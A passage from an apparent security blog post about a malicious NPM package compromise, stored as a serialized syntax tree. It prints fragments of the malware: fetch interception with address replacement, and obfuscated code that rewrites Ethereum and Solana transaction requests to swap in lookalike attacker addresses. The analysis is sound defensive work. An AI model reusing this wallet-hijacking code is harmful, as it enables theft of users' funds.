tyle":630},[104553],{"type":29,"value":104554}," contentType",{"type":24,"tag":271,"props":104556,"children":104557},{"style":624},[104558],{"type":29,"value":1712},{"type":24,"tag":271,"props":104560,"children":104561},{"style":630},[104562],{"type":29,"value":104497},{"type":24,"tag":271,"props":104564,"children":104565},{"style":288},[104566],{"type":29,"value":41},{"type":24,"tag":271,"props":104568,"children":104569},{"style":630},[104570],{"type":29,"value":104571},"headers",{"type":24,"tag":271,"props":104573,"children":104574},{"style":288},[104575],{"type":29,"value":41},{"type":24,"tag":271,"props":104577,"children":104578},{"style":598},[104579],{"type":29,"value":24048},{"type":24,"tag":271,"props":104581,"children":104582},{"style":288},[104583],{"type":29,"value":606},{"type":24,"tag":271,"props":104585,"children":104586},{"style":378},[104587],{"type":29,"value":104588},"'Content-Type'",{"type":24,"tag":271,"props":104590,"children":104591},{"style":288},[104592],{"type":29,"value":8823},{"type":24,"tag":271,"props":104594,"children":104595},{"style":624},[104596],{"type":29,"value":30104},{"type":24,"tag":271,"props":104598,"children":104599},{"style":378},[104600],{"type":29,"value":39509},{"type":24,"tag":271,"props":104602,"children":104603},{"style":288},[104604],{"type":29,"value":1069},{"type":24,"tag":271,"props":104606,"children":104607},{"class":273,"line":303},[104608,104612,104616],{"type":24,"tag":271,"props":104609,"children":104610},{"style":278},[104611],{"type":29,"value":15571},{"type":24,"tag":271,"props":104613,"children":104614},{"style":630},[104615],{"type":29,"value":8123},{"type":24,"tag":271,"props":104617,"children":104618},{"style":288},[104619],{"type":29,"value":1069},{"type":24,"tag":271,"props":104621,"children":104622},{"class":273,"line":312},[104623,104627,104631,104636,104640,104644,104648,104653],{"type":24,"tag":271,"props":104624,"children":104625},{"style":749},[104626],{"type":29,"value":956},{"type":24,"tag":271,"props":104628,"children":104629},{"style":288},[104630],{"type":29,"value":1357},{"type":24,"tag":271,"props":104632,"children":104633},{"style":630},[104634],{"type":29,"value":104635},"contentType",{"type":24,"tag":271,"props":104637,"children":104638},{"style":288},[104639],{"type":29,"value":41},{"type":24,"tag":271,"props":104641,"children":104642},{"style":598},[104643],{"type":29,"value":42849},{"type":24,"tag":271,"props":104645,"children":104646},{"style":288},[104647],{"type":29,"value":606},{"type":24,"tag":271,"props":104649,"children":104650},{"style":378},[104651],{"type":29,"value":104652},"'application/json'",{"type":24,"tag":271,"props":104654,"children":104655},{"style":288},[104656],{"type":29,"value":2317},{"type":24,"tag":271,"props":104658,"children":104659},{"class":273,"line":321},[104660,104664,104668,104672,104676,104680,104684,104688,104692],{"type":24,"tag":271,"props":104661,"children":104662},{"style":630},[104663],{"type":29,"value":50897},{"type":24,"tag":271,"props":104665,"children":104666},{"style":624},[104667],{"type":29,"value":1712},{"type":24,"tag":271,"props":104669,"children":104670},{"style":749},[104671],{"type":29,"value":43879},{"type":24,"tag":271,"props":104673,"children":104674},{"style":630},[104675],{"type":29,"value":104497},{"type":24,"tag":271,"props":104677,"children":104678},{"style":288},[104679],{"type":29,"value":41},{"type":24,"tag":271,"props":104681,"children":104682},{"style":598},[104683],{"type":29,"value":23117},{"type":24,"tag":271,"props":104685,"children":104686},{"style":288},[104687],{"type":29,"value":37843},{"type":24,"tag":271,"props":104689,"children":104690},{"style":598},[104691],{"type":29,"value":41666},{"type":24,"tag":271,"props":104693,"children":104694},{"style":288},[104695],{"type":29,"value":4230},{"type":24,"tag":271,"props":104697,"children":104698},{"class":273,"line":330},[104699,104703,104707],{"type":24,"tag":271,"props":104700,"children":104701},{"style":288},[104702],{"type":29,"value":39142},{"type":24,"tag":271,"props":104704,"children":104705},{"style":749},[104706],{"type":29,"value":11044},{"type":24,"tag":271,"props":104708,"children":104709},{"style":288},[104710],{"type":29,"value":7145},{"type":24,"tag":271,"props":104712,"children":104713},{"class":273,"line":339},[104714,104718,104722,104726,104730,104734,104738,104742,104746],{"type":24,"tag":271,"props":104715,"children":104716},{"style":630},[104717],{"type":29,"value":50897},{"type":24,"tag":271,"props":104719,"children":104720},{"style":624},[104721],{"type":29,"value":1712},{"type":24,"tag":271,"props":104723,"children":104724},{"style":749},[104725],{"type":29,"value":43879},{"type":24,"tag":271,"props":104727,"children":104728},{"style":630},[104729],{"type":29,"value":104497},{"type":24,"tag":271,"props":104731,"children":104732},{"style":288},[104733],{"type":29,"value":41},{"type":24,"tag":271,"props":104735,"children":104736},{"style":598},[104737],{"type":29,"value":23117},{"type":24,"tag":271,"props":104739,"children":104740},{"style":288},[104741],{"type":29,"value":37843},{"type":24,"tag":271,"props":104743,"children":104744},{"style":598},[104745],{"type":29,"value":29},{"type":24,"tag":271,"props":104747,"children":104748},{"style":288},[104749],{"type":29,"value":4230},{"type":24,"tag":271,"props":104751,"children":104752},{"class":273,"line":347},[104753],{"type":24,"tag":271,"props":104754,"children":104755},{"style":288},[104756],{"type":29,"value":13588},{"type":24,"tag":271,"props":104758,"children":104759},{"class":273,"line":356},[104760,104764,104769,104773,104778,104782,104786],{"type":24,"tag":271,"props":104761,"children":104762},{"style":278},[104763],{"type":29,"value":43856},{"type":24,"tag":271,"props":104765,"children":104766},{"style":630},[104767],{"type":29,"value":104768}," processedData",{"type":24,"tag":271,"props":104770,"children":104771},{"style":624},[104772],{"type":29,"value":1712},{"type":24,"tag":271,"props":104774,"children":104775},{"style":598},[104776],{"type":29,"value":104777}," replaceAddresses",{"type":24,"tag":271,"props":104779,"children":104780},{"style":288},[104781],{"type":29,"value":606},{"type":24,"tag":271,"props":104783,"children":104784},{"style":630},[104785],{"type":29,"value":8590},{"type":24,"tag":271,"props":104787,"children":104788},{"style":288},[104789],{"type":29,"value":1155},{"type":24,"tag":271,"props":104791,"children":104792},{"class":273,"line":365},[104793,104797,104802],{"type":24,"tag":271,"props":104794,"children":104795},{"style":278},[104796],{"type":29,"value":43856},{"type":24,"tag":271,"props":104798,"children":104799},{"style":630},[104800],{"type":29,"value":104801}," finalResponseText",{"type":24,"tag":271,"props":104803,"children":104804},{"style":624},[104805],{"type":29,"value":43523},{"type":24,"tag":271,"props":104807,"children":104808},{"class":273,"line":374},[104809,104814,104818,104822,104827,104832,104836,104840,104844,104848,104852,104856,104861],{"type":24,"tag":271,"props":104810,"children":104811},{"style":278},[104812],{"type":29,"value":104813}," typeof",{"type":24,"tag":271,"props":104815,"children":104816},{"style":630},[104817],{"type":29,"value":104768},{"type":24,"tag":271,"props":104819,"children":104820},{"style":624},[104821],{"type":29,"value":39096},{"type":24,"tag":271,"props":104823,"children":104824},{"style":378},[104825],{"type":29,"value":104826}," 'string'",{"type":24,"tag":271,"props":104828,"children":104829},{"style":624},[104830],{"type":29,"value":104831}," ?",{"type":24,"tag":271,"props":104833,"children":104834},{"style":630},[104835],{"type":29,"value":104768},{"type":24,"tag":271,"props":104837,"children":104838},{"style":624},[104839],{"type":29,"value":42784},{"type":24,"tag":271,"props":104841,"children":104842},{"style":630},[104843],{"type":29,"value":45196},{"type":24,"tag":271,"props":104845,"children":104846},{"style":288},[104847],{"type":29,"value":41},{"type":24,"tag":271,"props":104849,"children":104850},{"style":598},[104851],{"type":29,"value":46900},{"type":24,"tag":271,"props":104853,"children":104854},{"style":288},[104855],{"type":29,"value":606},{"type":24,"tag":271,"props":104857,"children":104858},{"style":630},[104859],{"type":29,"value":104860},"processedData",{"type":24,"tag":271,"props":104862,"children":104863},{"style":288},[104864],{"type":29,"value":1155},{"type":24,"tag":271,"props":104866,"children":104867},{"class":273,"line":384},[104868,104872,104877,104881,104885,104890,104894,104899],{"type":24,"tag":271,"props":104869,"children":104870},{"style":278},[104871],{"type":29,"value":43856},{"type":24,"tag":271,"props":104873,"children":104874},{"style":630},[104875],{"type":29,"value":104876}," finalResponse",{"type":24,"tag":271,"props":104878,"children":104879},{"style":624},[104880],{"type":29,"value":1712},{"type":24,"tag":271,"props":104882,"children":104883},{"style":278},[104884],{"type":29,"value":39603},{"type":24,"tag":271,"props":104886,"children":104887},{"style":598},[104888],{"type":29,"value":104889}," Response",{"type":24,"tag":271,"props":104891,"children":104892},{"style":288},[104893],{"type":29,"value":606},{"type":24,"tag":271,"props":104895,"children":104896},{"style":630},[104897],{"type":29,"value":104898},"finalResponseText",{"type":24,"tag":271,"props":104900,"children":104901},{"style":288},[104902],{"type":29,"value":56547},{"type":24,"tag":271,"props":104904,"children":104905},{"class":273,"line":393},[104906,104911,104915,104919,104924],{"type":24,"tag":271,"props":104907,"children":104908},{"style":630},[104909],{"type":29,"value":104910}," status:",{"type":24,"tag":271,"props":104912,"children":104913},{"style":630},[104914],{"type":29,"value":104497},{"type":24,"tag":271,"props":104916,"children":104917},{"style":288},[104918],{"type":29,"value":41},{"type":24,"tag":271,"props":104920,"children":104921},{"style":630},[104922],{"type":29,"value":104923},"status",{"type":24,"tag":271,"props":104925,"children":104926},{"style":288},[104927],{"type":29,"value":638},{"type":24,"tag":271,"props":104929,"children":104930},{"class":273,"line":402},[104931,104936,104940,104944,104949],{"type":24,"tag":271,"props":104932,"children":104933},{"style":630},[104934],{"type":29,"value":104935}," statusText:",{"type":24,"tag":271,"props":104937,"children":104938},{"style":630},[104939],{"type":29,"value":104497},{"type":24,"tag":271,"props":104941,"children":104942},{"style":288},[104943],{"type":29,"value":41},{"type":24,"tag":271,"props":104945,"children":104946},{"style":630},[104947],{"type":29,"value":104948},"statusText",{"type":24,"tag":271,"props":104950,"children":104951},{"style":288},[104952],{"type":29,"value":638},{"type":24,"tag":271,"props":104954,"children":104955},{"class":273,"line":411},[104956,104961,104965,104969,104973],{"type":24,"tag":271,"props":104957,"children":104958},{"style":630},[104959],{"type":29,"value":104960}," headers:",{"type":24,"tag":271,"props":104962,"children":104963},{"style":630},[104964],{"type":29,"value":104497},{"type":24,"tag":271,"props":104966,"children":104967},{"style":288},[104968],{"type":29,"value":41},{"type":24,"tag":271,"props":104970,"children":104971},{"style":630},[104972],{"type":29,"value":104571},{"type":24,"tag":271,"props":104974,"children":104975},{"style":288},[104976],{"type":29,"value":638},{"type":24,"tag":271,"props":104978,"children":104979},{"class":273,"line":420},[104980],{"type":24,"tag":271,"props":104981,"children":104982},{"style":288},[104983],{"type":29,"value":104984}," });\n",{"type":24,"tag":271,"props":104986,"children":104987},{"class":273,"line":429},[104988,104992,104996],{"type":24,"tag":271,"props":104989,"children":104990},{"style":749},[104991],{"type":29,"value":1842},{"type":24,"tag":271,"props":104993,"children":104994},{"style":630},[104995],{"type":29,"value":104876},{"type":24,"tag":271,"props":104997,"children":104998},{"style":288},[104999],{"type":29,"value":1069},{"type":24,"tag":271,"props":105001,"children":105002},{"class":273,"line":438},[105003],{"type":24,"tag":271,"props":105004,"children":105005},{"style":288},[105006],{"type":29,"value":4006},{"type":24,"tag":3834,"props":105008,"children":105009},{"start":294},[105010],{"type":24,"tag":101,"props":105011,"children":105012},{},[105013],{"type":29,"value":105014},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":261,"props":105016,"children":105018},{"code":105017,"language":39040,"meta":7,"className":39038,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[105019],{"type":24,"tag":135,"props":105020,"children":105021},{"__ignoreMap":7},[105022,105101,105112,105169,105209,105234,105249,105260,105294,105327,105346,105373,105381,105392,105432,105461,105489,105496,105536,105579,105623,105638,105677,105684,105708,105715],{"type":24,"tag":271,"props":105023,"children":105024},{"class":273,"line":274},[105025,105029,105033,105038,105042,105046,105050,105055,105059,105064,105068,105073,105077,105081,105085,105089,105093,105097],{"type":24,"tag":271,"props":105026,"children":105027},{"style":749},[105028],{"type":29,"value":23277},{"type":24,"tag":271,"props":105030,"children":105031},{"style":288},[105032],{"type":29,"value":1357},{"type":24,"tag":271,"props":105034,"children":105035},{"style":630},[105036],{"type":29,"value":105037},"_0x2c3d7e",{"type":24,"tag":271,"props":105039,"children":105040},{"style":288},[105041],{"type":29,"value":41},{"type":24,"tag":271,"props":105043,"children":105044},{"style":630},[105045],{"type":29,"value":45981},{"type":24,"tag":271,"props":105047,"children":105048},{"style":624},[105049],{"type":29,"value":39096},{"type":24,"tag":271,"props":105051,"children":105052},{"style":378},[105053],{"type":29,"value":105054}," 'eth_sendTransaction'",{"type":24,"tag":271,"props":105056,"children":105057},{"style":624},[105058],{"type":29,"value":989},{"type":24,"tag":271,"props":105060,"children":105061},{"style":630},[105062],{"type":29,"value":105063}," _0x2c3d7e",{"type":24,"tag":271,"props":105065,"children":105066},{"style":288},[105067],{"type":29,"value":41},{"type":24,"tag":271,"props":105069,"children":105070},{"style":630},[105071],{"type":29,"value":105072},"params",{"type":24,"tag":271,"props":105074,"children":105075},{"style":624},[105076],{"type":29,"value":989},{"type":24,"tag":271,"props":105078,"children":105079},{"style":630},[105080],{"type":29,"value":105063},{"type":24,"tag":271,"props":105082,"children":105083},{"style":288},[105084],{"type":29,"value":41},{"type":24,"tag":271,"props":105086,"children":105087},{"style":630},[105088],{"type":29,"value":105072},{"type":24,"tag":271,"props":105090,"children":105091},{"style":288},[105092],{"type":29,"value":4520},{"type":24,"tag":271,"props":105094,"children":105095},{"style":477},[105096],{"type":29,"value":4121},{"type":24,"tag":271,"props":105098,"children":105099},{"style":288},[105100],{"type":29,"value":48290},{"type":24,"tag":271,"props":105102,"children":105103},{"class":273,"line":284},[105104,105108],{"type":24,"tag":271,"props":105105,"children":105106},{"style":749},[105107],{"type":29,"value":104140},{"type":24,"tag":271,"props":105109,"children":105110},{"style":288},[105111],{"type":29,"value":7145},{"type":24,"tag":271,"props":105113,"children":105114},{"class":273,"line":294},[105115,105119,105124,105128,105133,105137,105141,105145,105149,105153,105157,105161,105165],{"type":24,"tag":271,"props":105116,"children":105117},{"style":278},[105118],{"type":29,"value":1246},{"type":24,"tag":271,"props":105120,"children":105121},{"style":630},[105122],{"type":29,"value":105123}," _0x39ad21",{"type":24,"tag":271,"props":105125,"children":105126},{"style":624},[105127],{"type":29,"value":1712},{"type":24,"tag":271,"props":105129,"children":105130},{"style":598},[105131],{"type":29,"value":105132}," _0x1089ae",{"type":24,"tag":271,"props":105134,"children":105135},{"style":288},[105136],{"type":29,"value":606},{"type":24,"tag":271,"props":105138,"children":105139},{"style":630},[105140],{"type":29,"value":105037},{"type":24,"tag":271,"props":105142,"children":105143},{"style":288},[105144],{"type":29,"value":41},{"type":24,"tag":271,"props":105146,"children":105147},{"style":630},[105148],{"type":29,"value":105072},{"type":24,"tag":271,"props":105150,"children":105151},{"style":288},[105152],{"type":29,"value":4520},{"type":24,"tag":271,"props":105154,"children":105155},{"style":477},[105156],{"type":29,"value":4121},{"type":24,"tag":271,"props":105158,"children":105159},{"style":288},[105160],{"type":29,"value":8505},{"type":24,"tag":271,"props":105162,"children":105163},{"style":278},[105164],{"type":29,"value":5670},{"type":24,"tag":271,"props":105166,"children":105167},{"style":288},[105168],{"type":29,"value":1155},{"type":24,"tag":271,"props":105170,"children":105171},{"class":273,"line":303},[105172,105177,105181,105185,105189,105193,105197,105201,105205],{"type":24,"tag":271,"props":105173,"children":105174},{"style":630},[105175],{"type":29,"value":105176}," _0x2c3d7e",{"type":24,"tag":271,"props":105178,"children":105179},{"style":288},[105180],{"type":29,"value":41},{"type":24,"tag":271,"props":105182,"children":105183},{"style":630},[105184],{"type":29,"value":105072},{"type":24,"tag":271,"props":105186,"children":105187},{"style":288},[105188],{"type":29,"value":4520},{"type":24,"tag":271,"props":105190,"children":105191},{"style":477},[105192],{"type":29,"value":4121},{"type":24,"tag":271,"props":105194,"children":105195},{"style":288},[105196],{"type":29,"value":4530},{"type":24,"tag":271,"props":105198,"children":105199},{"style":624},[105200],{"type":29,"value":762},{"type":24,"tag":271,"props":105202,"children":105203},{"style":630},[105204],{"type":29,"value":105123},{"type":24,"tag":271,"props":105206,"children":105207},{"style":288},[105208],{"type":29,"value":1069},{"type":24,"tag":271,"props":105210,"children":105211},{"class":273,"line":312},[105212,105216,105220,105224,105229],{"type":24,"tag":271,"props":105213,"children":105214},{"style":288},[105215],{"type":29,"value":39142},{"type":24,"tag":271,"props":105217,"children":105218},{"style":749},[105219],{"type":29,"value":56076},{"type":24,"tag":271,"props":105221,"children":105222},{"style":288},[105223],{"type":29,"value":1357},{"type":24,"tag":271,"props":105225,"children":105226},{"style":630},[105227],{"type":29,"value":105228},"_0x226343",{"type":24,"tag":271,"props":105230,"children":105231},{"style":288},[105232],{"type":29,"value":105233},") {}\n",{"type":24,"tag":271,"props":105235,"children":105236},{"class":273,"line":321},[105237,105241,105245],{"type":24,"tag":271,"props":105238,"children":105239},{"style":288},[105240],{"type":29,"value":54540},{"type":24,"tag":271,"props":105242,"children":105243},{"style":749},[105244],{"type":29,"value":11044},{"type":24,"tag":271,"props":105246,"children":105247},{"style":288},[105248],{"type":29,"value":7145},{"type":24,"tag":271,"props":105250,"children":105251},{"class":273,"line":330},[105252,105256],{"type":24,"tag":271,"props":105253,"children":105254},{"style":749},[105255],{"type":29,"value":956},{"type":24,"tag":271,"props":105257,"children":105258},{"style":288},[105259],{"type":29,"value":85356},{"type":24,"tag":271,"props":105261,"children":105262},{"class":273,"line":339},[105263,105268,105272,105276,105280,105284,105289],{"type":24,"tag":271,"props":105264,"children":105265},{"style":288},[105266],{"type":29,"value":105267}," (",{"type":24,"tag":271,"props":105269,"children":105270},{"style":630},[105271],{"type":29,"value":105037},{"type":24,"tag":271,"props":105273,"children":105274},{"style":288},[105275],{"type":29,"value":41},{"type":24,"tag":271,"props":105277,"children":105278},{"style":630},[105279],{"type":29,"value":45981},{"type":24,"tag":271,"props":105281,"children":105282},{"style":624},[105283],{"type":29,"value":39096},{"type":24,"tag":271,"props":105285,"children":105286},{"style":378},[105287],{"type":29,"value":105288}," 'solana_signTransaction'",{"type":24,"tag":271,"props":105290,"children":105291},{"style":624},[105292],{"type":29,"value":105293}," ||\n",{"type":24,"tag":271,"props":105295,"children":105296},{"class":273,"line":347},[105297,105302,105306,105310,105314,105319,105323],{"type":24,"tag":271,"props":105298,"children":105299},{"style":630},[105300],{"type":29,"value":105301}," _0x2c3d7e",{"type":24,"tag":271,"props":105303,"children":105304},{"style":288},[105305],{"type":29,"value":41},{"type":24,"tag":271,"props":105307,"children":105308},{"style":630},[105309],{"type":29,"value":45981},{"type":24,"tag":271,"props":105311,"children":105312},{"style":624},[105313],{"type":29,"value":39096},{"type":24,"tag":271,"props":105315,"children":105316},{"style":378},[105317],{"type":29,"value":105318}," 'solana_signAndSendTransaction'",{"type":24,"tag":271,"props":105320,"children":105321},{"style":288},[105322],{"type":29,"value":8823},{"type":24,"tag":271,"props":105324,"children":105325},{"style":624},[105326],{"type":29,"value":90605},{"type":24,"tag":271,"props":105328,"children":105329},{"class":273,"line":356},[105330,105334,105338,105342],{"type":24,"tag":271,"props":105331,"children":105332},{"style":630},[105333],{"type":29,"value":105176},{"type":24,"tag":271,"props":105335,"children":105336},{"style":288},[105337],{"type":29,"value":41},{"type":24,"tag":271,"props":105339,"children":105340},{"style":630},[105341],{"type":29,"value":105072},{"type":24,"tag":271,"props":105343,"children":105344},{"style":624},[105345],{"type":29,"value":2275},{"type":24,"tag":271,"props":105347,"children":105348},{"class":273,"line":365},[105349,105353,105357,105361,105365,105369],{"type":24,"tag":271,"props":105350,"children":105351},{"style":630},[105352],{"type":29,"value":105176},{"type":24,"tag":271,"props":105354,"children":105355},{"style":288},[105356],{"type":29,"value":41},{"type":24,"tag":271,"props":105358,"children":105359},{"style":630},[105360],{"type":29,"value":105072},{"type":24,"tag":271,"props":105362,"children":105363},{"style":288},[105364],{"type":29,"value":4520},{"type":24,"tag":271,"props":105366,"children":105367},{"style":477},[105368],{"type":29,"value":4121},{"type":24,"tag":271,"props":105370,"children":105371},{"style":288},[105372],{"type":29,"value":19475},{"type":24,"tag":271,"props":105374,"children":105375},{"class":273,"line":374},[105376],{"type":24,"tag":271,"props":105377,"children":105378},{"style":288},[105379],{"type":29,"value":105380}," ) {\n",{"type":24,"tag":271,"props":105382,"children":105383},{"class":273,"line":384},[105384,105388],{"type":24,"tag":271,"props":105385,"children":105386},{"style":749},[105387],{"type":29,"value":76770},{"type":24,"tag":271,"props":105389,"children":105390},{"style":288},[105391],{"type":29,"value":7145},{"type":24,"tag":271,"props":105393,"children":105394},{"class":273,"line":393},[105395,105399,105404,105408,105412,105416,105420,105424,105428],{"type":24,"tag":271,"props":105396,"children":105397},{"style":278},[105398],{"type":29,"value":15790},{"type":24,"tag":271,"props":105400,"children":105401},{"style":630},[105402],{"type":29,"value":105403}," _0x5ad975",{"type":24,"tag":271,"props":105405,"children":105406},{"style":624},[105407],{"type":29,"value":1712},{"type":24,"tag":271,"props":105409,"children":105410},{"style":630},[105411],{"type":29,"value":105063},{"type":24,"tag":271,"props":105413,"children":105414},{"style":288},[105415],{"type":29,"value":41},{"type":24,"tag":271,"props":105417,"children":105418},{"style":630},[105419],{"type":29,"value":105072},{"type":24,"tag":271,"props":105421,"children":105422},{"style":288},[105423],{"type":29,"value":4520},{"type":24,"tag":271,"props":105425,"children":105426},{"style":477},[105427],{"type":29,"value":4121},{"type":24,"tag":271,"props":105429,"children":105430},{"style":288},[105431],{"type":29,"value":4865},{"type":24,"tag":271,"props":105433,"children":105434},{"class":273,"line":402},[105435,105439,105443,105448,105452,105457],{"type":24,"tag":271,"props":105436,"children":105437},{"style":749},[105438],{"type":29,"value":46954},{"type":24,"tag":271,"props":105440,"children":105441},{"style":288},[105442],{"type":29,"value":1357},{"type":24,"tag":271,"props":105444,"children":105445},{"style":630},[105446],{"type":29,"value":105447},"_0x5ad975",{"type":24,"tag":271,"props":105449,"children":105450},{"style":288},[105451],{"type":29,"value":41},{"type":24,"tag":271,"props":105453,"children":105454},{"style":630},[105455],{"type":29,"value":105456},"transaction",{"type":24,"tag":271,"props":105458,"children":105459},{"style":288},[105460],{"type":29,"value":919},{"type":24,"tag":271,"props":105462,"children":105463},{"class":273,"line":411},[105464,105469,105473,105477,105481,105485],{"type":24,"tag":271,"props":105465,"children":105466},{"style":630},[105467],{"type":29,"value":105468}," _0x5ad975",{"type":24,"tag":271,"props":105470,"children":105471},{"style":624},[105472],{"type":29,"value":1712},{"type":24,"tag":271,"props":105474,"children":105475},{"style":630},[105476],{"type":29,"value":105403},{"type":24,"tag":271,"props":105478,"children":105479},{"style":288},[105480],{"type":29,"value":41},{"type":24,"tag":271,"props":105482,"children":105483},{"style":630},[105484],{"type":29,"value":105456},{"type":24,"tag":271,"props":105486,"children":105487},{"style":288},[105488],{"type":29,"value":1069},{"type":24,"tag":271,"props":105490,"children":105491},{"class":273,"line":420},[105492],{"type":24,"tag":271,"props":105493,"children":105494},{"style":288},[105495],{"type":29,"value":20365},{"type":24,"tag":271,"props":105497,"children":105498},{"class":273,"line":429},[105499,105503,105508,105512,105516,105520,105524,105528,105532],{"type":24,"tag":271,"props":105500,"children":105501},{"style":278},[105502],{"type":29,"value":646},{"type":24,"tag":271,"props":105504,"children":105505},{"style":630},[105506],{"type":29,"value":105507}," _0x5dbe63",{"type":24,"tag":271,"props":105509,"children":105510},{"style":624},[105511],{"type":29,"value":1712},{"type":24,"tag":271,"props":105513,"children":105514},{"style":598},[105515],{"type":29,"value":105132},{"type":24,"tag":271,"props":105517,"children":105518},{"style":288},[105519],{"type":29,"value":606},{"type":24,"tag":271,"props":105521,"children":105522},{"style":630},[105523],{"type":29,"value":105447},{"type":24,"tag":271,"props":105525,"children":105526},{"style":288},[105527],{"type":29,"value":158},{"type":24,"tag":271,"props":105529,"children":105530},{"style":278},[105531],{"type":29,"value":15890},{"type":24,"tag":271,"props":105533,"children":105534},{"style":288},[105535],{"type":29,"value":1155},{"type":24,"tag":271,"props":105537,"children":105538},{"class":273,"line":438},[105539,105543,105547,105551,105555,105559,105563,105567,105571,105575],{"type":24,"tag":271,"props":105540,"children":105541},{"style":749},[105542],{"type":29,"value":46954},{"type":24,"tag":271,"props":105544,"children":105545},{"style":288},[105546],{"type":29,"value":1357},{"type":24,"tag":271,"props":105548,"children":105549},{"style":630},[105550],{"type":29,"value":105037},{"type":24,"tag":271,"props":105552,"children":105553},{"style":288},[105554],{"type":29,"value":41},{"type":24,"tag":271,"props":105556,"children":105557},{"style":630},[105558],{"type":29,"value":105072},{"type":24,"tag":271,"props":105560,"children":105561},{"style":288},[105562],{"type":29,"value":4520},{"type":24,"tag":271,"props":105564,"children":105565},{"style":477},[105566],{"type":29,"value":4121},{"type":24,"tag":271,"props":105568,"children":105569},{"style":288},[105570],{"type":29,"value":1021},{"type":24,"tag":271,"props":105572,"children":105573},{"style":630},[105574],{"type":29,"value":105456},{"type":24,"tag":271,"props":105576,"children":105577},{"style":288},[105578],{"type":29,"value":919},{"type":24,"tag":271,"props":105580,"children":105581},{"class":273,"line":447},[105582,105587,105591,105595,105599,105603,105607,105611,105615,105619],{"type":24,"tag":271,"props":105583,"children":105584},{"style":630},[105585],{"type":29,"value":105586}," _0x2c3d7e",{"type":24,"tag":271,"props":105588,"children":105589},{"style":288},[105590],{"type":29,"value":41},{"type":24,"tag":271,"props":105592,"children":105593},{"style":630},[105594],{"type":29,"value":105072},{"type":24,"tag":271,"props":105596,"children":105597},{"style":288},[105598],{"type":29,"value":4520},{"type":24,"tag":271,"props":105600,"children":105601},{"style":477},[105602],{"type":29,"value":4121},{"type":24,"tag":271,"props":105604,"children":105605},{"style":288},[105606],{"type":29,"value":1021},{"type":24,"tag":271,"props":105608,"children":105609},{"style":630},[105610],{"type":29,"value":105456},{"type":24,"tag":271,"props":105612,"children":105613},{"style":624},[105614],{"type":29,"value":1712},{"type":24,"tag":271,"props":105616,"children":105617},{"style":630},[105618],{"type":29,"value":105507},{"type":24,"tag":271,"props":105620,"children":105621},{"style":288},[105622],{"type":29,"value":1069},{"type":24,"tag":271,"props":105624,"children":105625},{"class":273,"line":455},[105626,105630,105634],{"type":24,"tag":271,"props":105627,"children":105628},{"style":288},[105629],{"type":29,"value":46608},{"type":24,"tag":271,"props":105631,"children":105632},{"style":749},[105633],{"type":29,"value":11044},{"type":24,"tag":271,"props":105635,"children":105636},{"style":288},[105637],{"type":29,"value":7145},{"type":24,"tag":271,"props":105639,"children":105640},{"class":273,"line":464},[105641,105645,105649,105653,105657,105661,105665,105669,105673],{"type":24,"tag":271,"props":105642,"children":105643},{"style":630},[105644],{"type":29,"value":105586},{"type":24,"tag":271,"props":105646,"children":105647},{"style":288},[105648],{"type":29,"value":41},{"type":24,"tag":271,"props":105650,"children":105651},{"style":630},[105652],{"type":29,"value":105072},{"type":24,"tag":271,"props":105654,"children":105655},{"style":288},[105656],{"type":29,"value":4520},{"type":24,"tag":271,"props":105658,"children":105659},{"style":477},[105660],{"type":29,"value":4121},{"type":24,"tag":271,"props":105662,"children":105663},{"style":288},[105664],{"type":29,"value":4530},{"type":24,"tag":271,"props":105666,"children":105667},{"style":624},[105668],{"type":29,"value":762},{"type":24,"tag":271,"props":105670,"children":105671},{"style":630},[105672],{"type":29,"value":105507},{"type":24,"tag":271,"props":105674,"children":105675},{"style":288},[105676],{"type":29,"value":1069},{"type":24,"tag":271,"props":105678,"children":105679},{"class":273,"line":473},[105680],{"type":24,"tag":271,"props":105681,"children":105682},{"style":288},[105683],{"type":29,"value":20365},{"type":24,"tag":271,"props":105685,"children":105686},{"class":273,"line":483},[105687,105691,105695,105699,105704],{"type":24,"tag":271,"props":105688,"children":105689},{"style":288},[105690],{"type":29,"value":23476},{"type":24,"tag":271,"props":105692,"children":105693},{"style":749},[105694],{"type":29,"value":56076},{"type":24,"tag":271,"props":105696,"children":105697},{"style":288},[105698],{"type":29,"value":1357},{"type":24,"tag":271,"props":105700,"children":105701},{"style":630},[105702],{"type":29,"value":105703},"_0x4b99fd",{"type":24,"tag":271,"props":105705,"children":105706},{"style":288},[105707],{"type":29,"value":105233},{"type":24,"tag":271,"props":105709,"children":105710},{"class":273,"line":491},[105711],{"type":24,"tag":271,"props":105712,"children":105713},{"style":288},[105714],{"type":29,"value":13588},{"type":24,"tag":271,"props":105716,"children":105717},{"class":273,"line":499},[105718],{"type":24,"tag":271,"props":105719,"children":105720},{"style":288},[105721],{"type":29,"value":1171},{"type":24,"tag":85,"props":105723,"children":105725},{"id":105724},"impact-of-the-attack",[105726],{"type":29,"value":105727},"Impact of the Attack",{"type":24,"tag":25,"props":105729,"children":105730},{},[105731],{"type":29,"value":105732},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":62,"props":105734,"children":105736},{"id":105735},"why-it-will-happen-again",[105737],{"type":29,"value":105738},"Why It Will Happen Again",{"type":24,"tag":25,"props":105740,"children":105741},{},[105742],{"type":29,"value":105743},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as 